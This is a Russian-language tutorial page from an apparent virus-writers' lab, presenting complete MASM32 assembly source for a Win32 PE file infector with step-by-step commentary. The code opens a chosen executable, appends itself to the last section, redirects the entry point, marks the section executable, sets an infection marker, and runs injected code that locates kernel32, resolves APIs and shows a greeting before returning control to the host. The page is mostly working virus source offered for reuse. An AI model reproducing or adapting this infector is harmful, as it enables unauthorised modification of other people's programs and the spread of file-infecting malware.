| Welcome to The Passion Of Code Laboratory!!! | Статьи |
"Win32-вирусы" |
|
386 .MODEL flat,stdcall OPTION CASEMAP : NONE include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc include \masm32\include\comdlg32.inc include \masm32\include\masm32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib includelib \masm32\lib\comdlg32.lib includelib \masm32\lib\masm32.lib MIN_KERNEL_SEARCH_BASE EQU 070000000h MAX_API_STRING_LENGTH EQU 150 VIRII_SIZE EQU ( OFFSET IGI_END - OFFSET IGI_START) ALIGN_CORRECTION EQU 000001000h IGI_TRADEMARK EQU ('IGI') VIRII_R_SIZE EQU 000000200h VIRII_V_SIZE EQU 000002000h MAX EQU 255 .CONST szError DB "Ошибка",0 szGetBaseErr DB "Ошибка в получении адреса kernel.dll",0 szCap DB ":) ",0 szCap_0 DB "CALL CreateFile is FAILED",0 szCap_1 DB "CALL GetFileSize is FAILED",0 szCap_2 DB "CALL GlobalAlloc is FAILED",0 szCap_3 DB "CALL ReadFile is FAILED",0 .DATA filter db 'PE-executables (*.exe)',0,'*.exe',0,0 buffer db 255 dup (0) about db 'Please Pick the Target File',0 about_f db 'Target File is ...',0 hFile DD 0 dwFsize DD 0 pMem DD 0 OpenStruct dd 76,0 dd 0 dd offset filter, 0,0,0, offset buffer, MAX, 0,0,0, offset about dd OFN_FILEMUSTEXIST or OFN_HIDEREADONLY or OFN_EXPLORER dd 0, 0, 0, 0, 0 cBuff DB 120 DUP (0) VarBuff db 0 .CODE Main: invoke GetOpenFileNameA, offset OpenStruct .if eax==0 jmp _exit_ .endif lea eax,offset buffer push MB_ICONINFORMATION OR MB_SYSTEMMODAL push OFFSET szCap push EAX push NULL CALL MessageBox ;............................................................. ;............................................................. ;............................................................. invoke CreateFile,offset buffer,\ GENERIC_WRITE or GENERIC_READ ,\; FILE_SHARE_READ or FILE_SHARE_WRITE,\; NULL,\ OPEN_EXISTING,\ FILE_ATTRIBUTE_NORMAL,\ NULL .IF EAX == INVALID_HANDLE_VALUE XOR EAX, EAX INC EAX push MB_ICONINFORMATION OR MB_SYSTEMMODAL push OFFSET szCap push OFFSET szCap_0 push NULL CALL MessageBox JMP SkipFileInfection .ENDIF MOV hFile, EAX PUSH 0 PUSH EAX CALL GetFileSize OR EAX, EAX .IF ZERO? push MB_ICONINFORMATION OR MB_SYSTEMMODAL push OFFSET szCap push OFFSET szCap_1 push NULL CALL MessageBox ADD EAX, 2 JMP SkipFileAndClean1 .ENDIF MOV dwFsize, EAX ADD EAX, ALIGN_CORRECTION + VIRII_SIZE PUSH EAX PUSH GMEM_FIXED OR GMEM_ZEROINIT CALL GlobalAlloc OR EAX, EAX .IF ZERO? push MB_ICONINFORMATION OR MB_SYSTEMMODAL push OFFSET szCap push OFFSET szCap_2 push NULL CALL MessageBox ADD EAX, 3 JMP SkipFileAndClean1 .ENDIF MOV pMem, EAX LEA EAX, OFFSET VarBuff PUSH NULL PUSH EAX PUSH dwFsize PUSH pMem PUSH hFile CALL ReadFile .IF EAX==0 push MB_ICONINFORMATION OR MB_SYSTEMMODAL push OFFSET szCap push OFFSET szCap_3 push NULL CALL MessageBox CALL GetLastError push OFFSET cBuff push eax CALL dwtoa push MB_ICONINFORMATION OR MB_SYSTEMMODAL push OFFSET szCap push OFFSET cBuff push NULL CALL MessageBox .ENDIF ;---- Поищем PE сигнатуру ---- MOV ESI, pMem CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE .IF !ZERO? JMP SkipFileAndClean2 .ENDIF ADD WORD PTR SI, [ESI+03Ch] CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE .IF !ZERO? JMP SkipFileAndClean2 .ENDIF ASSUME ESI : PTR IMAGE_NT_HEADERS ;----Найдем последнюю секцию---- MOV EDI, ESI ADD EDI, 0F8h MOV CX, [ESI].FileHeader.NumberOfSections .WHILE CX != 1 DEC CX ADD EDI, SIZEOF IMAGE_SECTION_HEADER .ENDW ASSUME EDI : PTR IMAGE_SECTION_HEADER ; WATCOM C/C++ компилчторы устанавливают Misc.VirtualSize в 0, исправим это .IF [EDI].Misc.VirtualSize == 0 MOV EAX, [ESI].OptionalHeader.SizeOfImage SUB EAX, [EDI].VirtualAddress MOV [EDI].Misc.VirtualSize, EAX .ENDIF ;----Копируем вирусній код в файл---- MOV EAX, [EDI].PointerToRawData ADD EAX, [EDI].SizeOfRawData ADD EAX, pMem PUSH ESI PUSH EDI MOV ECX, VIRII_SIZE MOV ESI, OFFSET IGI_START XCHG EAX, EDI REP MOVSB POP EDI POP ESI ;----Изменим NT -заголовок ---- ;-> Изменим OptionalHeader.FileAlignment MOV [ESI].OptionalHeader.FileAlignment, 0200h ;->Увеличим ImageBase ADD [ESI].OptionalHeader.SizeOfImage, VIRII_V_SIZE ;-> Точка входа (EntryPoint) ; сохраним оригинальную EP MOV EAX, [EDI].SizeOfRawData ADD EAX, [EDI].PointerToRawData ADD EAX, pMem ADD EAX, (OFFSET Loader_Constants - OFFSET IGI_START) MOV EBX, [ESI].OptionalHeader.AddressOfEntryPoint ADD EBX, [ESI].OptionalHeader.ImageBase ;Сохраним -> mov dwOEPVA,ebx PUSH EBX POP [EAX] ; Изменим EP MOV EAX, [EDI].VirtualAddress ADD EAX, [EDI].SizeOfRawData MOV [ESI].OptionalHeader.AddressOfEntryPoint, EAX ;->Установим "Товарный знак" MOV [ESI].FileHeader.PointerToSymbolTable, IGI_TRADEMARK ;----Изменим информацию о секции---- ADD [EDI].Misc.VirtualSize, VIRII_V_SIZE ADD [EDI].SizeOfRawData, VIRII_R_SIZE ; Секцию можно: читать, писать, выполнять OR [EDI].Characteristics, 0E0000000h ;---- Пишем из памяти на диск---- ;установим файловый указатель записи в 0 PUSH FILE_BEGIN PUSH NULL PUSH 0 PUSH hFile CALL SetFilePointer ; Найдем новый размер файла-жертвы MOV ECX, [EDI].PointerToRawData ADD ECX, [EDI].SizeOfRawData ; Пишем на диск PUSH NULL LEA EAX, OFFSET VarBuff PUSH EAX PUSH ECX PUSH pMem PUSH hFile CALL WriteFile ASSUME EDI : NOTHING ASSUME ESI : NOTHING XOR EAX, EAX SkipFileAndClean2: ; Освободим выделенную память PUSH EAX PUSH pMem CALL GlobalFree POP EAX SkipFileAndClean1: ; Освободим уазатели PUSH EAX PUSH hFile CALL CloseHandle POP EAX SkipFileInfection: invoke ExitProcess,0 ;............................................................. IGI_START: pushad call delta delta: pop ebp sub ebp, offset delta push dword ptr [esp+20h] call GetKernelBase or EAX, EAX jz OEPJump mov [ebp+dwKernelBase], EAX ;............................................................. lea eax, [ebp+OFFSET szLoadLibrary] PUSH eax PUSH [ebp+dwKernelBase] CALL GetProcAddr MOV [ebp+_LoadLibrary], EAX lea eax, [ebp+OFFSET szGetProcAddress] push eax push [ebp+dwKernelBase] CALL GetProcAddr MOV [ebp+_GetProcAddress], EAX lea eax, [ebp+OFFSET szUser32] push eax CALL [ebp+_LoadLibrary] MOV [ebp+dwUserBase], EAX lea eax, [ebp+OFFSET szMessageBox] push eax push [ebp+dwUserBase] CALL GetProcAddr MOV [ebp+_MessageBox], EAX lea eax, [ebp+OFFSET szInfoCap] push MB_ICONINFORMATION OR MB_SYSTEMMODAL push 0 push eax push 0 CALL [ebp+_MessageBox] OEPJump: MOV EAX, [EBP+dwOEPVA] .IF EAX MOV [ESP+01Ch], EAX POPAD JMP EAX .ELSE POPAD RET .ENDIF GetKernelBase PROC USES EDI ESI, dwTopStack : DWORD MOV EDI, dwTopStack AND EDI, 0FFFF0000h .WHILE TRUE .IF WORD PTR [EDI] == IMAGE_DOS_SIGNATURE MOV ESI, EDI ADD ESI, [ESI+03Ch] .IF DWORD PTR [ESI] == IMAGE_NT_SIGNATURE .BREAK .ENDIF .ENDIF ExceptCont: SUB EDI, 010000h .IF EDI < MIN_KERNEL_SEARCH_BASE MOV EDI, 0BFF70000h .BREAK .ENDIF .ENDW XCHG EAX, EDI RET GetKernelBase ENDP GetProcAddr PROC USES ESI EDI ECX EBX EDX, dwDllBase : DWORD, szApi : LPSTR MOV ESI, dwDllBase CMP WORD PTR [ESI], IMAGE_DOS_SIGNATURE JNZ @@BadExit ADD ESI, [ESI+03Ch] CMP DWORD PTR [ESI], IMAGE_NT_SIGNATURE JNZ @@BadExit MOV EDI, szApi MOV ECX, MAX_API_STRING_LENGTH XOR AL, AL REPNZ SCASB MOV ECX, EDI SUB ECX, szApi MOV EDX, [ESI+078h] ADD EDX, dwDllBase ASSUME EDX : PTR IMAGE_EXPORT_DIRECTORY MOV EBX, [EDX].AddressOfNames ADD EBX, dwDllBase XOR EAX, EAX .REPEAT MOV EDI, [EBX] ADD EDI, dwDllBase MOV ESI, szApi PUSH ECX REPZ CMPSB .IF ZERO? .BREAK .ENDIF POP ECX ADD EBX, 4 INC EAX .UNTIL EAX == [EDX].NumberOfNames MOV ESI, [EDX].AddressOfNameOrdinals ADD ESI, dwDllBase PUSH EDX MOV EBX, 2 XOR EDX, EDX MUL EBX ADD EAX, ESI XOR ECX, ECX MOV WORD PTR CX, [EAX] POP EDX MOV EDI, [EDX].AddressOfFunctions XOR EDX, EDX MOV EBX, 4 MOV EAX, ECX MUL EBX ADD EAX, dwDllBase ADD EAX, EDI MOV EAX, [EAX] ADD EAX, dwDllBase JMP @@ExitProc ASSUME EDX : NOTHING @@BadExit: XOR EAX, EAX @@ExitProc: RET GetProcAddr ENDP Loader_Constants: dwOEPVA dd 0 szLoadLibrary db "LoadLibraryA",0 szGetProcAddress db "GetProcAddress",0 szUser32 db "user32",0 szMessageBox db "MessageBoxA",0 szInfoCap db "Добрый день, уважаемый! ",0 _LoadLibrary dd 0 _GetProcAddress dd 0 _MessageBox dd 0 dwKernelBase dd 0 dwUserBase dd 0 _exit_: ;............................................................. IGI_END: end Main |
Анализ:
Вся игра в данном случае будет разворачиваться на месте этих NOP- ов из 5-того
урока.
С чем нам нужно определиться :
· что должно выполниться до запуска программы – носителя;
· какие функции необходимы для построения этого кода;
Итак, пусть весь наш вносимый код просто выводит MessageBox с приветствием.
Исходя из задачи видно что нужно будет:
1. Определять адрес kernell32.dll.
2. Определять адрес функции MessageBox().
· для этого необходимо определить адрес библиотеки user32.dll
так как функция MessageBox() хранится в ней. Проверим это с помощью программы PE
View v3.0 [2.1]. Найдем на диске С: файл user.dll и просмотрим его с помощью
этой программы.

Для того чтобы найти адрес MessageBox() из user32.dll, нужно
ее (user32.dll)
загрузить с помощью функции LoadLibrary(). Далее взять из нее же, из user32.dll,
адрес нашей MessageBox() с помощью функции GetProcAddress().
· выполнить MessageBox().
3. Передать управление программе-носителю.
Итак :
1. найти адрес двух dll - kernell32.dll и user32.dll;
2. найти адреса четырех функций :
· LoadLibrary()
· GetProcAddress()
· MessageBox()
Начнем :
1)
|
lea eax, [ebp+OFFSET szLoadLibrary] PUSH eax PUSH [ebp+dwKernelBase] CALL GetProcAddr MOV [ebp+_LoadLibrary], EAX lea eax, [ebp+OFFSET szGetProcAddress] push eax push [ebp+dwKernelBase] CALL GetProcAddr MOV [ebp+_GetProcAddress], EAX |
Это простой пункт. Здесь мы используя свою
функцию поиска адресов нашли адреса нужных нам функций:
· LoadLibrary()
· GetProcAddress()
… и сохранили их.
2)
|
lea eax, [ebp+OFFSET szUser32] push eax CALL [ebp+_LoadLibrary] MOV [ebp+dwUserBase], EAX lea eax, [ebp+OFFSET szMessageBox] push eax push [ebp+dwUserBase] CALL GetProcAddr MOV [ebp+_MessageBox], EAX |
Тут мы загружаем в адресное пространство
нашего процесса библиотеку user32.dll и узнаем в ней адрес функции MessageBox().
3)
|
lea eax, [ebp+OFFSET szInfoCap] push MB_ICONINFORMATION OR MB_SYSTEMMODAL push 0 push eax push 0 CALL [ebp+_MessageBox] |
Вызываем функцию MessageBox() по найденному нами адресу. Далее передаем управление программе носителю
4)
|
pushad call delta delta: pop ebp sub ebp, offset delta ... OEPJump: MOV EAX, [EBP+dwOEPVA] .IF EAX MOV [ESP+01Ch], EAX POPAD JMP EAX .ELSE POPAD RET .ENDIF |
Здесь мы применили большую степень
защищенности. Тут мы перед выполнением процедуры поиска дельта смещения,
сохранили все регистры с помощью команды pushad.
Далее, при передаче управления программе-носителю, мы восстанавливаем состояние
всех регистров. Но, чтобы не терять адрес возврата в EAX, мы перед выполнением
popad, подкорректируем в стеке старое содержимое EAX. Регистр EAX в стеке
хранится по смещению ESP+01Ch, туда-то и запишем новое значение EAX. Восстановим
регистры, и передадим управление программе-носителю по адресу в EAX.
Перечень используемого программного обеспечения :
[2.1] - PEview v3.0 (jamk@mail.ru)
[C] _follower / TPOC
Новые события из жизни нашей лаборатории
Статьи и переводы лаборатории TPOC
Программы лаборатории TPOC
Здесь мы сообщаем Вам, какие творения скоро появятся
Ссылки на сайты, где можно найти больше информации
История нашей лаборатории и ее члены
| У вас есть предложения по нашему сайту? Напишите сюда | Любимые сайты вирмейкеров: (WASM) (RSDN) |